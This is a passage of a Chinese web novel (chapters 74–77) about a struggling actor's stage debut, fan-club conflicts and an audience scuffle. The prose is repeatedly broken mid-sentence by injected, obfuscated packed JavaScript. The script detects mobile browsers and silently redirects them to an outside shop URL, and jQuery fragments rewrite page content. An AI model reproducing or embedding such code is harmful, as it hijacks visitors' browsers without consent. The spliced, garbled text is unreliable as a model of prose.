“无功不受禄,”阿远回绝道,“忙着呢别添乱啊。” “忙也得吃饭吧,”祁歌说,“这不是还有事想问你吗,阿老师,阿经纪……” “别撒娇,”阿远警告他说,“没用。” 其实有用。 半个多小时后祁歌拎着外卖袋在办公室探了个头:“阿老师辛苦,在忙什么?” 阿远接过袋子往茶几上摆:“点了什么?你是不是也听说了,我就是在忙你工作室的事儿……哇!” 祁歌揣着手站在一边,嘿嘿笑了两声。 “你发财了?”阿远抬头看他,“这家日料挺贵的吧?” “还行还行,人均三百而已。”祁歌说,“阿老师,我真有事相商。” “啥事?”阿远从袋子里取出筷子。 “今天碰到陈逸心,要不是他提我都不知道,要不说敌人比你还了解自己呢……但是我其实不想成立什么粉丝团体,后援会之类的。” 阿远摇摇头:“那可不由你。” “我就知道你会这么说,你先吃,听我说嘛。”祁歌帮阿远倒好一小碟酱油递过去,“我现在作品太少了,粉丝每天到处瞎安利,观感算不上多好。我觉得先专注自己比较好,现在去组织粉丝团体没什么意义。” 阿远一边嚼一边说:“但是你完全不加管理,由着粉丝乱来,观感也会很不好吧……” “每个作品都会面对各种各样的声音嘛,再说现在不是还没有,以后有了再说呗。其实我们所说的粉丝只是小孩子,又不是疯子……” “你想的太简单了,”阿远指出,“现在是没事,以后你万一红了点,再出来点披皮黑什么的,你会百口莫辩,到时候公司也不太方便出面,会很棘手。” 祁歌叹了口气:“那怎么办,我要开个幼儿园吗,三二一谁的眼睛还没看老师?” 阿远被他逗笑了,差点碰翻手边的饮料。 “不过你先安心吧,公司暂时还没打算帮你运行粉丝团体,只是让我组织监督一下。”阿远最后宽慰他说,“怎么,怕被当成小流量啊?” “可不嘛!”祁歌夸张地承认,“我今天看超话里都吵起来了,说要选举后援会管理人员呢……怪吓人的。” 他一边说一边低头看了眼手机里的消息。 阿远则低头专心吃了会儿饭。贵的饭是好吃啊! “……还是成立后援会吧!”祁歌突然抬起头严肃地说。 阿远:? 74. 我去了 “我真服了,我被人冲了。”程书仪给防抖兄发去消息,附带好几张截图。 她这段时间在网上连着发了不少关于那部剧的评论,虽然附和着寥寥,但是评论区参与讨论的人很多,很是热闹。其中说得最多的当然就是防抖兄了,跟她有来有回地聊了不少回合。 之前她只有骂得很厉害的时候才会被删帖,可是从昨天晚上开始,她的账号开始不明愿意地被大批量地轮番举报,现在她的帖子被删掉好几个,下面的评论更是零零散散几乎被删光了。 想也知道,这肯定是电视剧里演员的粉丝干的。 定位再缩小一点,大概就是祁歌的粉丝。 毕竟这个角色被她diss的次数是最多的。 怎么能这样,哎这些小女孩每天闲着没事到处出警,看到个不顺眼的帖子就开始呼朋唤友喊打喊杀,半点不尊重旁人的自由意志。 “就是!”程书仪很满意防抖兄的这顿骂,“越捂嘴我越要骂!” “……啊?”防抖兄这次没跟上她的脑回路。 “你有意见?” “我可不敢。”防抖兄认怂认得越来越快,“我看到有人都在你评论区开战了,我已经替你反击了一下。” 程书仪闻言打开自己的评论区,只见防抖兄连发好几条评论,说那些粉丝根本就是闲着没事来找存在感,这么闲为什么不去刷刷剧集的点击?凉成这样别人骂你两句算做慈善帮你们做数据了。 “骂得好。”程书仪称赞道,“你这小子很上道啊。” “就是他们的问题!一天天唯恐天下不乱的,也没个人出来管管。”防抖兄说。 程书仪想了想祁歌背后的草台班子,估计也是鞭长莫及,便开解道:“他们小演员能管得了什么啊,没直接给我开盒算手下留情了。” 明明刚才还挺生气,有个人来替她又是愤而怒骂又是出头回怼,程书仪的心情也淡然了许多:“这时候你倒成我队友了。” “必须的,她们再来捣乱,随时奉陪!”防抖兄发了个敬礼表情。 程书仪抱拳还礼:“兄弟仗义。” 一转眼最后的联排时间也慢慢过去,祁歌参演的这部话剧已经快要首演。 他的排期并不多,只有和陈逸心搭的三场所谓“跨界场”(aka陈逸心粉丝包场),以及跟另一个主演演员搭的一场。 这名演员虽然也不算什么大咖,但在话剧圈算是口碑风评最好的年轻演员之一,粉丝也不少。 这个排期一出来,立马就有那个演员的粉好奇这个祁歌是谁,需不需要避雷。 人糊也是有好处的,那位演员的粉丝问遍全网,竟然除了粉丝安利,少有路人认识祁歌此人。 陈逸心也是主演之一,却只有跟祁歌搭档的三场,整个人都很不爽。 但是主角比配角的场次少也很正常,导演没觉得有什么,他当然不好发作,只阴恻恻夹枪带棒地表现出不满。 祁歌懒得理他,想着自己把角色发挥好就行了。 至少,不要拖其他演员的后腿。 此外,他心里的忐忑还因为一件事: 他想请程书仪来看这部戏。 他与话剧缘分不深。很久之前排过一部,剧目普通,关注度也接近于零。当时他勤勤恳恳排了几个月,却在临场前被换了下来,无缘带那个角色来到观众面前。 这一切,程书仪是全程见证的。 那么这一次,如果这个角色可以顺利诞生,他很希望程书仪能在场。 “你让我去说?”阿远在电话那端小发雷霆,“你不认识程姐吗还是她把你拉黑了?” “我怕打扰她嘛,”祁歌赶紧辩解,“你知不知道她最近忙什么?” “好像在忙她家的事情,但是也没那么忙吧,你去问问不就行了,怕被拒绝就不要追人了!”阿远利索地挂了电话。 好吧,祁歌磨磨蹭蹭给程书仪发了消息,问她最近有没有时间。 “确切地说,是5号晚上有没有时间?实在不行2号、3号和7号也可以。” 他这边还在编辑着要说的话,程书仪已经非常简洁地回了个“?”给他。 祁歌赶快加快打字速度:“是这样,我最近排了个话剧,这几天会有演出,想问问你有没有时间看看。” 最后这句祁歌打得很慢:“我想着这也算是……当年的一个遗憾吧。” 程书仪望着手机想了一会儿。 遗憾吗……或许有吧。 她当时是真的期待过,想要在舞台上看祁歌的表演。 那时候她还没见过祁歌真人,也没想过后来会发生这么多的事。 如今,心态和那时候自然是完全不同了。 但从上次观影的感受来看,看看他的作品还是挺不错的。不想跟他谈了,并不代表不能欣赏他好的表演。 “好看吗?”程书仪问。 “包的呀。”祁歌回复道。 还挺少见看到他对自己的作品这么自信。 程书仪便暂时应了:“那到时候看看吧,有时间的话。” “这几天都在售票处给你留票,”祁歌说,“有空过来哈,我比较推荐5号那天的,那天的主演演得很好。” “你不是主演啊?” “我是男二,演一个落魄少爷,”祁歌大方说,“除了5号,其他场次搭配的主演都是陈逸心。” “???” 好家伙,这有点让人难以抉择。程书仪还真有点想见识一下这俩仇人同台的场景。 “他的场,粉丝会很多。”祁歌补充道。 好的,程书仪一下子被说服,决定还是尽量去看5号的吧。 得到了程书仪的回答后,祁歌松下了半口气。 他这几个月忙忙碌碌,几乎一无所得,唯一能拿出来的就是这个戏了。 这个……其实没人看好他的戏。 这种感觉对他来说并不算陌生。很多年跑龙套当小演员,积极配合熬夜苦等,都不过家常便饭。 比起那些,这个不算什么。 但祁歌自己知道,他现在的心态不一样了。 或许是从疾病的魔爪下死里逃生之后,他一点点重新捡起自己的人生,不由自主地有了些改变。 他想从这世上获取些什么,想要真真切切不管不顾地活一次。 至于他想要获取的东西…… 他当然不可能去勉强程书仪,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807969|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法左右她的决定。 但这次他不会再百般揣摩、千折万转,试图做好每一件事,唯恐出现什么问题了。 毕竟,他已经失去了。 也没什么结果会比这个更糟了。 这个剧宣了排期之后,祁歌的粉丝又热闹了一阵。 超话和粉丝群里纠结的话题无非是排期不好、给陈逸心抬咖,以及场次太少了买不到票。 祁歌心想买不到票是因为陈逸心的粉丝战斗力太强,打不过就打不过呗有啥可说的……他没敢讲出来。 阿远争取了一下,出面给粉丝们争取了几张赠票,问祁歌打算怎么发。 “抽个奖什么的不就行了吗?”祁歌说。 “抽奖要设定什么条件,路人会不会中奖?粉丝等级是什么,要不要屏蔽某些粉丝,这些都要考虑。”阿远语重心长地告诉他。 “这些都由您考虑。”祁歌理所当然地拒绝思考。 阿远恨得牙痒痒:“你就别做粉丝维护,到时候翻车了我看你找谁哭去。” 祁歌还觉得自己冤枉:“粉丝维护我做了啊!” “怎么做的?” “每天在超话签个到。” …… 无论台下有多少喧扰纷争,演出的日子终于是近了。 大幕拉开,戏码上演。 虽说对祁歌来说这场是首演,但下面的观众基本都是来看陈逸心的。这一点,台上所有演员大概都心知肚明。 祁歌本以为这会是一场有点难受的演出,没想到却不是。 因为祁歌感受到了周围演员的专业程度。他们并非为了台下的称赏,而是为了这一期一会的一台好戏全情投入,奉献出了所有力量。 这让祁歌有些感动,也渐渐平息了心跳,将面向观众那堵透明的墙当做平时排练的镜子,让自己心无旁骛地投入到演出的配合当中。 紧张肯定还是紧张的,祁歌自己觉得有些地方不算是很好的发挥,但好在是顺利演下来了。 演出完毕,他回到后台,在嘈杂的人来人往中自己静了一会儿。 好像完成了一件挺重要的事,但又没什么实感。 一般戏剧舞台结束后,演员们会去后门跟观众见面,这也算是一种传统。有的演员会过去跟观众签个名、合个影之类的,也有人会和热情的观众聊聊天。 有演员出门时便问祁歌要不要一起去。 祁歌之前没计划这事儿,正紧急跟公司征询意见。大概由于时间太晚,暂时还没收到回复。 倒是momo老师问他最近是否顺利,还分享了点自己遇到的事,说有位一向没什么女性缘的朋友忽然打算闪婚,有点惊讶又在情理之中。 “我觉得你可以学学他,做人就是要放肆率性一点,勇敢的人享受世界。”momo这样说。 祁歌望着手机若有所思。 放肆一点……吗? “万一,承受不了放肆的后果呢?”他问。 “后果还没出现,怎么知道承受不了?”momo这人还挺乐观,“相信会有好的结果就可以了!” “好的,”祁歌回复道,“我去了。” “?”momo发来问号。 75. 来了吗 说真的,祁歌作为影视剧糊咖小演员,确实没见过这场面。 他一推门就被扑面而来的闪光灯晃得眼晕。 仔细看看,外面不光有闪光灯,周围还打了不少补光灯,仿佛把一整个银河从天际拽了下来,铺设在这条窄窄的路边。 祁歌还没去过那些著名的电影节,估计跟这场景相比也难分伯仲。 他保持着门的半开状态,先眯了眯眼睛,迅速适应了一下这种光线。 他看到陈逸心就在外面,背对着他正在跟粉丝……饭撒。 好吧,祁歌不太懂这些,也不确定围着这片区域的黑压压的人群中有没有自己的粉丝,一时不太确定该怎么办。 要不……先回去? 他后脚还没出门,前脚先撤了回来。 “祁老师怎么堵着门呢,”后面有个北方籍的男演员正好要出来,顺手从背后推了祁歌一把,“走啊一起。” “啊不是……” 来不及拒绝了,祁歌已经被一下子推到了门口的台阶上面。 他一眼就看到下面一片密密麻麻的手机和相机镜头对着这边——准确地说,是对着陈逸心的方向。 ……要不还是回去吧! 祁歌有些不适地退了半步,却看到他身后的那名演员已经走到了观众圈的最右边,开始一一和观众打招呼互动,接过递过来的票根签名。 老演员看起来可真是自如啊。 祁歌有些羡慕地跟过去站在他旁边。 “祁老师签名吗?”有观众问。 祁歌有些尴尬地摇摇头。这事他没跟公司请示过,不敢签。 “……是我设计的!”那位演员在旁边跟观众聊戏,祁歌听了后半句,忍不住想把耳朵凑过去。 “祁老师可以作证!” 被发现后,祁歌被一把拽过去,听这位大哥喋喋不休地讲自己在台上那段捡道具的情节是为了体现人物心中有鬼绝不是舞台事故,忍不住笑了出来:“好了哥,我作证,确实是设计的。” “你看!” “二位可以看下镜头吗?”有观众举起相机,还有拍立得什么的。 看一眼镜头肯定没事吧……祁歌听话地一一看了过去。 “对了今天是我们祁老师首演,”这位演员顺手跟观众示意了一下,“他演得超好,是不是?” “哎呀……”祁歌有些不好意思地推了他一下。 “那祁老师今天紧张吗?”前排的观众问。 “超级,”祁歌回答,“在台上手都抖。” 当然了,紧张是真紧张,手抖却是老毛病了。 而且这个手抖发作的原因还不太确定:劳累、焦虑、低落……有时哪怕十分放松也可能发作。 虽说话剧舞台上的画面不会被录下来传播出去,但祁歌还是担心观众万一注意到了,会不会有些出戏。 好在似乎没人察觉他这点担心,前排的女孩子都善良又礼貌,认真夸了他几句。 这样跟着蹭了一圈SD,祁歌准备走时,忽然被一个观众叫住了。 “歌歌我看到卡司表都没敢认……我看过你很多剧,很喜欢你的表演,今天晚上也很棒!” “啊谢谢你……”祁歌走上前想跟她握手,却忽然想起不知道行不行,僵硬顿在半空又收了回去。 “想问下歌歌今天首演有什么感受?自己觉得满意吗?”那位观众已经接着问了下去。 祁歌站在原地想了想:“嗯确实是第一次演舞台剧,一开始我们合成的时候,会有点不知道眼神放哪里,还会怕跟观众对视……” 他在那儿认认真真回忆了半天心路历程,说完才发现那边陈逸心早都走了,这个门口就剩自己一个人,以及维持秩序的工作人员。 周围的观众也散了不少,还有些零零散散的在望着他。 天哪,这也太尴尬了! “我我先走了,你们回去注意安全啊!”他磕磕绊绊地跟观众告了别,赶快回到后台。 挺奇怪的,一番忘我的聊天之后,刚才的忐忑不安似乎消失了不少。 那种紧张到头晕的焦虑也逐渐地减轻了。 这大概就是现场艺术的魅力吧,在台上能当即看到观众的反应,下了台也可以直接和观众交流沟通。 结束之后这一切如过眼云烟,他又被还给了他自己。 转天先炸锅的是祁歌的个人超话。 收到阿远的传唤后,祁歌来到公司大概看了几眼,觉得粉丝的不悦可以理解。 大致思路是怎么祁歌去跟观众见面,后援会都不知情?工作室也一点都没提,做的是保密工作吗?粉丝勤勤恳恳做数据,这时候被一脚踢开是吧…… “我也想问呢,”祁歌对阿远说,“不是说有粉丝赠票吗,怎么现场一个我粉丝都没有,我很尴尬的。” “嘿你还跟我兴师问罪是吧?谁没经过公司同意就跑出去跟观众见面还大聊特聊半小时啊?” “人家这是话剧传统,大家都去,我不去也不合适啊!”祁歌理直气壮。 其实不去也可以的,只是他想去体验一下而已。这话祁歌没说出来,但阿远仿佛猜到了。 她瞪了他一眼:“你最好非常喜欢SD这个活动。” “啊?” “高姐说了,”阿远扬了扬手机屏幕,“你之后每场都要去,你助理会陪你去。” 祁歌哦了一声,对她扬起笑脸:“求之不得。” 有了第一场的经验,第二场演出对祁歌来说自如了不少,结束后稍微收拾了一下换了衣服便去了后门。 本以为这次也和上次一样不会有太多观众注意到他,没想到这次竟然有不少人一见面就喊着他的名字。 把正跟粉丝打招呼的陈逸心都惊动了。 “祁老师今天来了这么多粉丝啊?”他这样半开玩笑地对祁歌说,“送票啦?” 祁歌看了他一眼。 怎么说呢,票是送了几张,但听陈逸心的意思,好像祁歌今天特意花钱雇人来造声势似的。 祁歌笑着走上前,揽住他的肩:“哪有看你这大男主的人多呀,赠票不也是你的最多吗,说这些。” 围观的人群里一阵噼里啪啦的快门声。 不就是营业吗,祁歌大大方方看向镜头,心想谁理亏谁知道。 这样做了之后,他心里又有那么一点愧疚。 “你觉得,如果做事情只考虑自己的感受,算不算是……有点自私了?”他这样问momo。 “算吧。”momo说。 还没等祁歌为此作出反应,对话框里又跳出了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822952|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一行字:“但人类本来就是自私的啊。” 祁歌愣了一下,觉得有点想笑:“但是,人类不是普遍都会追求美好的品质吗?” “盲目当滥好人只会害人害己,”momo说,“你看那部剧的结局还不明白吗?” “结局2。”祁歌说。 “那就是最合理的结局!” 好吧好吧,祁歌决定不在这件事上继续纠缠:“好吧,我决定要自私一点。” momo立即给予肯定:“好的决定。对了,你那件事有结果了吗?什么时候能给我讲讲?” 祁歌迅速在脑中过了一下,没想出一个可以讲清楚事情还不掉马甲的方法。 “就是……接了一个很难的戏,好在目前来看还挺顺利,希望一直顺利![祈祷]” “对哦你是学戏剧的是吧,学校的演出?你们是不是演个戏就能毕业了啊?” “其实我在学校是学戏剧编导理论,不是学表演,”祁歌稍微澄清了一下自己的专业,“毕业也是要写各种论文和答辩的。” “这样啊,以后有时间看看你编导的戏啊!我要开会,先去忙了。” “好好好,加油。” momo发来一个打工牛马的表情。 呼……祁歌松了口气。 以后要是这位momo老师如果知道了他的真实身份,不知道会怎么想。 当时还不算太熟的时候,错过了表露身份的最好时机,现在两人的关系比起网友……好像更像是向着朋友发展。 祁歌觉得有机会还是早点说清楚比较好。 日落月升,转眼到了祁歌期待的5号。 他好像又回到了首演前的状态,刚过中午就来剧院准备了。 这场演出祁歌原本为程书仪预留了一排侧面的座位,想了想又换成了观看效果比较好的前排中区。 因为他有点担心。 担心如果开演后自己眼睁睁地看着那个位置空缺了,会不会被影响到演出状态。 演员们陆陆续续地来到现场,祁歌找对手戏演员对了会儿戏,也跟大家一起试了音。 那么,没什么事可做了。 他找到手机,假装不经意地问程书仪今天会不会如约前来。 “给你留的是最好位置的票”——这句会不会有点道德绑架的意思啊?祁歌一个字一个字地删掉。 “要是太忙来不了也没事,后天还有一场”——这是不是看起来太刻意了?删掉删掉。 他自己在这儿想了许多,程书仪还没回话。 “……不会忘了吧?” 这句当然也不合适,但祁歌没想那么多,直接就发了出去。 两分钟后对话框跳出回复:“没忘,路上呢,有点堵车,你们那儿迟到还让进吗?” “没问题的!可能需要稍等一下,会统一开门放人进来,”祁歌不太放心地打着字,“如果迟了进来的时候会很黑,看清脚下慢慢走,还有演出期间不可以打电话或者玩手机哈,如果有重要的事可以先出厅再处理。” 这次程书仪没回他了……或许是在开车? 于是祁歌又追加道:“你慢点,不急的,安全第一。” 他在原地想了想,又打了一行字:“散场之后要是没事,要不要一起坐坐?” 76. 活人感 演出前最后的准备时间,大家都到了后台候场。 “咱们一起加个油吧。”有演员伸出手来,大家依次交叠手掌,在空中一压一扬。 观众已经入场,他们不敢大声说话,只小声齐声说了句“加油”。 祁歌放下手掌来,才发现自己紧张得有点头晕恶心,此刻脚下发飘,几乎有点站不住。 “祁老师怎么了,”主演的那位演员看了他几眼,“这么紧张吗?” “是啊,”祁歌感激地深呼吸了一下,“我怎么越演越紧张了,老师救救新人。” 这位演员其实年龄比他小,但舞台经验要丰富很多。他对祁歌笑起来:“祁老师见惯了大摄像机的,还怕这点学生作业?放松点,我看了你的演出,你演得很好。” 他这么一说,祁歌才想起来,这虽然是自己第一部舞台剧作品,但却不是自己第一次站在台上表演。 除了之前那次未能成功出演的经历,他在学生时代也是参与过毕业大戏的联排的。 那时候他和同学们才刚刚摸到表演的门槛,什么都不懂,全凭一股子天不怕地不怕的劲去完成了那个作品。 他在里面演的不是什么主角,而是一个类似旁观者的老大爷,全程观察兼吐槽。 祁歌记得演出那天由于包袱翻得还行,也由于台下的同学给面子,他也是获得过不少掌声的。 那次就在开场前,大家还在急急忙忙搭布景、修理道具、对词儿……确实也没时间紧张。 祁歌由此想起前段时间排练时自己迟到那天,他整个人气喘吁吁,全部精力都投入在表演中,也是没觉得紧张的。 于是他当机立断,立刻找了个空地俯下身做了好几个俯卧撑。 好在后台的演员们做什么都是不足为奇的,并没人关注他这神经病的举动。 灯光亮起,大幕拉开,这个故事重新开始揭开它的面纱,如同陷入另一个轮回。 祁歌平复了呼吸,跟着台上的大家一起,本能地进入了角色。 这一次他是无比投入的,仿佛这一刻他已经成为了角色本身。 这样的状态对祁歌来说并不多见。 在拍摄影视作品时,演员的体验被开机和cut分割成一片一片的碎片,入戏出戏都很快,往往要全部拍完才渐渐感受到拼图完成的整个故事给自己的冲击力。 可是在这里,故事的情感浓度被压缩在短短的几个小时,时光转瞬即逝,再诚挚的眼泪或是再深刻的感动也一样。 祁歌在落幕之后才觉得虚脱。 刚才谢幕时他还在戏里,强迫自己露出属于祁歌的笑容,甚至都没去关注程书仪到底有没有赶到。 祁歌和大家一起走向后台,想去拿自己的手机看一眼。 就在这时,观众席似乎传来骚动。 准备往后面走的演员们互相对视着,不知道发生了什么。 他们身边有工作人员用对讲机匆忙对话,说前面要来两个人,需要帮忙。 戏已经散场了,需要帮什么忙? 那位主演想出去看一眼,被祁歌手快拦住了:“观众还没走完,你下去的话,可能会造成骚动的。” “对对,”他身边的工作人员表示同意,“现在大家不方便出面,先回后台等消息吧。” 祁歌点点头,示意自己助理去看看,没一会儿就收到回话,说有观众因为观看时的一些行为产生口角,产生了推搡,好像有观众受伤了。 “叫救护车了吗?” “伤得严重不?” “好家伙,意思是打架了吗……” 演员们在后台七嘴八舌地议论起来。 这么一来,SD可能也要推迟一点,大家都想先确定受伤的观众没事。 祁歌心里有点突突的,想着先问问程书仪有没有被波及。 看情况一会儿SD完可能要很晚,大概得跟程书仪说一声,今天没办法见面了。 他划开手机就看到程书仪的消息:“演得不错,剧也还不错,我先走了。” 看来是没答应要一起坐坐的邀请。 祁歌松了半口气,回复道:“刚才观众席好像有点口角,你没事吧?回去注意安全。” “什么口角?”程书仪立刻就八卦地回了过来。 祁歌便如此这般把自己听来的消息给程书仪讲了一遍。 说大概是有个观众看剧时为了看清楚点,身体前倾的时间比较长,后面的观众散场时忍不住指责了两句,一来二去就吵了起来,前面的观众被推倒受伤了。 “看剧的时候不能前倾?为什么?” “因为会很容易挡住后面的人的视野。”祁歌说,“我也是最近才知道的……哦对了,就是这个剧首演那天。” “?”程书仪继续八卦。 祁歌闷闷敲字:“我当时全副武装悄悄潜入观众席看首演,开场前后面就有观众拍我,让我靠着坐,坐低点。” 程书仪发来一串“哈哈”,对演员本人也会被观众责备的情形没有丝毫同情。 “我都不知道自己今天有没有前倾,感谢我后面观众的包容。”程书仪说,“我出停车场了。” “好,路上慢点,早点休息。” 祁歌放下手机,又去关心前面受伤观众的情况,这次得到一个噩耗:受伤的观众中,有拿着他的赠票进来的粉丝。 “什么?”祁歌这下坐不住了,起身从后面绕到侧门口,想去看看救护车的情况。 “祖宗啊你不能出去,”他助理一把拦住了他,“你等安排。” “既然是我的观众,我得去看一眼啊,”祁歌戴上口罩,又往下拉了拉帽子,“我就出去看一眼,确定人没事就行。” 助理拦他不住,拿起电话就拨,想也知道是要跟阿远或者高姐汇报。 祁歌闪身从侧门出去。 外面的空气有一点冷。 等着SD的粉丝都聚集在后门口,被警戒线拦成一圈,没人注意这边。祁歌从这个不起眼的侧门往后侧绕了一下,就看到了救护车停靠的地方。 这里离前门更近,有些散场出来的观众被吸引,纷纷在附近驻足。 祁歌几步跑过去,正好看到医护人员拉着推车从剧院里出来。 推车上的女孩头上敷着冰袋,有几抹血色散落在她的衣服和头侧的垫子上。看意识倒还清醒。 祁歌跟着车到了救护车旁,看着人被推上车,又看着剧院的工作人员上车随行。 “拜托您了。”他说。 救护车上的女孩在他开口之后惊讶地看过来,祁歌冲她比了个加油的手势,救护车的门便关上了。 随着救护车开走,周围三三两两围观的人也散了。 经过这么一遭,祁歌只觉得心里七上八下十分复杂,一时间开心满足、牵肠挂肚和忧虑忐忑交织在一起,连心跳都快了几分。 一些演员已经在后门SD了,祁歌稍微收拾了一下,也加入了他们,想着尽量早点结束,剧院的工作人员也要休息。 没想到今天SD口的观众格外多,叫着他聊戏的观众也很多。 “祁老师今天换了搭档,有什么不同的感觉吗?” “那当然了,不同的演员反应不同,”祁歌说,“感受也不同,我个人来说今天更投入一点,而且今天开场前特别紧张,我还做了几个俯卧撑热身,是跟老师现学的……” 他泛泛聊了几句,忽然觉得随着近在咫尺的闪光灯一闪,眼前的一张张面孔模糊了一下。 他眨了眨眼,抬手挡了一下,让视野恢复清明。 “祁老师怎么了?”有人问道。 祁歌摇摇头,却因为这摇头的动作眩晕了几分。 那股开演前站不住脚的感觉又回来了。 完了,好像是低血糖。祁歌后知后觉地想。 众目睽睽之下,他用力咬了一下自己的嘴巴内侧,强迫自己坚持住,和其他老师一起跟观众道了别。 幸好祁歌的助理就站在他后面,早就注意到了他的不对劲,回到后台就给他递了糖,救他姓命于将倾。 回到家刚洗漱完,祁歌就接到了高姐的电话。 他还以为是要因为自己出去看救护车被兴师问罪,没想到竟然是自己刚才聊戏的视频被切片了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841329|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 本来是正常的几句话,剪出来之后竟然变成自己不喜欢和陈逸心搭戏的意思。 “这些粉丝好厉害啊,”祁歌感叹道。 高姐立刻又骂他一顿。 “不是,我说的话被曲解也不能怪我吧,”祁歌无辜申辩,“要不我再发个视频澄清一下?” “你可消停点吧,”高姐没好气地说,“对了你那个受伤的粉丝也被人挂大字报了,说她不懂观剧礼仪还跟人吵架,受伤活该什么的,你知道咋回事吗?” “昂,就是她可能没带望远镜,姿势太前倾了,”祁歌说,“不是什么大事,我想着要不要工作室出面关心一下伤情?” “这个阿远会安排的,”高姐说,“你什么都别干。” “真的吗,现在不是都喜欢活人感吗?”祁歌跃跃欲试,“我想当活人。” 高姐骂了他第三顿。 对此momo的想法就宽容很多:“在网上发疯很正常啊,不过有的明星被公司管着也合理,因为他们本人确实素质差了点,让他们自由发挥,粉丝会滤镜破碎脱粉的。” 祁歌简直要笑死:“你这么说小心被粉丝打死。” “这有什么,都说美貌都是用智商换的嘛,”momo不以为然,“但美貌本身也是稀缺资源啊,他们确实有这个资本。” 祁歌感觉自己默默中枪。 程书仪……也会觉得自己长得还行脑子不行吗? 看来还是要多学习啊! “有什么办法能变聪明吗?”于是祁歌问。 “能问出这个问题,说明你的聪明也有限。”momo一如既往地一针见血。 这部话剧演完之后,祁歌就得收拾收拾进组了。 倘若之前那部电影的上映期不再向后延迟,他拍完这部戏正好空出宣传期。 “你身体现在怎么样了?”阿远很有良知地关心了一句,“我听说你那天演完又晕了?” “没有!”祁歌立刻辟谣,“当时为了入戏比较投入,稍微运动了一下,结果演完一点点低血糖,吃了糖立马就好了。” “哦没事就行,不然我还考虑要不要给你租个房车呢。”阿远念叨着。 祁歌当即十分后悔:“那我身体还是有点虚弱的其实……” “晚了!” “你想不想看话剧?”转天程书仪收到防抖兄的消息。 “啊?” “这个,我有多余的票,”防抖兄发来一张海报,“如果你想看可以送你一张。” 好家伙,这不就是祁歌那部戏吗。 程书仪十动然拒:“谢谢啊,我看过了。” “你看过了?”对面挺惊讶,“我还以为你不会对这些有兴趣。” 程书仪撇撇嘴,心想你只是一个粉丝,而我是被台上某演员强力邀请的,说出来怕是你要酸。 “我从别的地方拿了张赠票。”她这样回复说。 防抖兄对此表示了遗憾:“好吧,那下次吧。你喜欢这部戏吗?” “有点无病呻吟,但是观感还行,”程书仪客观评价道,“演员演得都很出色,很有感染力。” 防抖兄马上杠上了:“是不是在你看来大部分伤春悲秋都是无病呻吟啊?” “也不能这么说,只不过我更欣赏豁达的人生。” 防抖兄沉默了半天,没发来辩论陈述,而是发了句感叹:“有点羡慕你啊。” “为什么?” “我好像做不到这种豁达。” 程书仪有些好奇:“是什么阻止了你?” “可能对自己没信心吧,”防抖兄说,“会花很多时间在心路历程上,对你来说,可能都是浪费时间吧。” “对你来说也是吧?”程书仪说,“伤春悲秋没有意义,加油做事才是真的!” “好的,”那边回复道,“我去了。” 程书仪有点满意。 过了好久,防抖兄才忽然又发来一句:“谢谢你。” 这句话他引用了程书仪之前说的那句“演员演得都很出色,很有感染力”。 程书仪不由觉得哪里怪怪的。 77. 西皮粉 如今的时代,大家早就习惯了有什么事到网络上断案。 那位受伤的粉丝很快被找到了账号,随即顺利被扒出来是祁歌的粉。 现场和她发生口角的人虽然没有出面,周围却有不少目击者,纷纷在网络上发出了自己的第一视角信息。 一时间众说纷纭,差点上了热门榜。 那名受伤的观众阿远亲自去联系了,确定她没什么事,头上缝了几针,已经回家休息。 于是祁歌作主,送了点周边小礼品寄给她,聊表慰问。 “感谢你的支持,”祁歌亲手写了小卡片,“平平安安,早日康复。” ——然后一转头这名观众就把这个小卡片发到了网上。 “不是,你就不能写工作室的落款吗?”阿远脑袋都气得冒烟,“还嫌我事情不够多是吧?” 不得不说,孩子成长得挺快的,这不就有了经纪人的样子? “我跟你说话呢!”留意到祁歌的心不在焉,阿远立刻怒了。 “噢噢,”祁歌马上回神,“我知道了,下次提前跟你说……不过我也没有写落款啊……” “没写?”阿远重新点进去看了一眼,纸片上确实没有落款。 那粉丝必定是通过字迹认出了他的手笔。 “……可真是你亲粉丝啊。”阿远感叹了一句。 随即他们便发现,一件荒诞的事情,总能向更荒诞的方向发展。 本以为热度过去,事情就会告一段落,没想到口诛笔伐的矛头很快转向了这名粉丝的所谓“站位”。 她是一名CP粉。 网络上大家磕CP本就司空见惯,当事人本人的态度一般也都是听之任之,不会随意去打击任何一类粉丝。 但对粉丝群体来说,那可就大不一样了。 很多人将自己归于某个集体之中,便拥有了不容置疑的归属感,互相倾轧是常有的事。 唯粉和CP粉之间的互看不爽,似乎也是无解的。 “工作室是不是有病?给CP粉送票还给特殊礼物?她受伤不是自作自受?” 这个质疑一出,超话和各个粉丝群都炸了锅。 